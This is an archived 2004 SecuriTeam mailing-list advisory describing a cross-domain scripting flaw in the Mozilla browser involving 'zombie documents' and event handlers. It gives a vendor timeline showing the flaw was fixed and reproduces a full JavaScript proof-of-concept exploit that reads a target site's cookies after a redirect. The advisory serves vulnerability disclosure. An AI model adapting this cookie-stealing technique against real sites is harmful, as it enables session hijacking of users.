

[NEWS] Cross-domain Exploit on Zombie Document with Event Handlers (nsDOMClassInfo)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-02/0076.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 02/26/04

To: list@securiteam.com

Date: 26 Feb 2004 10:47:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Cross-domain Exploit on Zombie Document with Event Handlers
(nsDOMClassInfo)

SUMMARY

Mozilla web browser has a vulnerability that allows an attacker linking to a new page to still interact with the old page before the new page has been successfully loaded (zombie document). Any JavaScript events fired will be invoked in the context of the new page, making cross site scripting possible if the pages belong to different domains.

DETAILS

Vulnerable Systems:

- * Mozilla web browser

Mozilla has several security layers to prevent exploitation of zombie documents. Most important the origin of all JavaScript code is checked before execution. The problem occurs with event handlers used in tags. Some attempts are made to disable them, but can easily be bypassed.

The trick is to fill the current document with as many event handlers as possible and then redirect to a new page. If the event handler is invoked

Securiteam: [NEWS] Cross-domain Exploit on Zombie Document with Event Handlers (nsDOMClassInfo)

at the right time it will be executed in the context of the new page, thus making cross site scripting possible.

Vendor response:

2003-12-02: Mozilla Security Team contacted. Assigned Bugzilla bug #227417: <http://bugzilla.mozilla.org/show_bug.cgi?id=227417>
http://bugzilla.mozilla.org/show_bug.cgi?id=227417

2003-12-03: Fix added.

Exploit:

```
< html>
< body>
< script>
// Andreas Sandblad
// 2003-11-24
// Mozilla - Cross site scripting

// Target URL (some network delay needed)
var target = "http://www.yahoo.com/";

// Write out a lot of onmousemove events
var block = true;
for (i = 0; i < 100; i++)
  document.write('< table width=100% height=1 border=0>< tr>'
    + '< td onmousemove="try {block;} catch(e) {'+payload+';payload();}">'
    + '< spacer type=block height=1></td></tr></table>');
document.close();

// Called first time mouse is moved over document
function trigger() {
  document.onmousemove = null;
  location = target;
}
document.onmousemove = trigger;

// If block not defined then call payload
function payload() {
  try {
    block;
  } catch(e) {
    document.body.innerHTML=document.cookie;
    alert(document.cookie);
  }
}
</script>
foo
```

ADDITIONAL INFORMATION

Securiteam: [NEWS] Cross-domain Exploit on Zombie Document with Event Handlers (nsDOMClassInfo)

The information has been provided by <mailto:sandblad@acc.umu.se> Andreas Sandblad.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.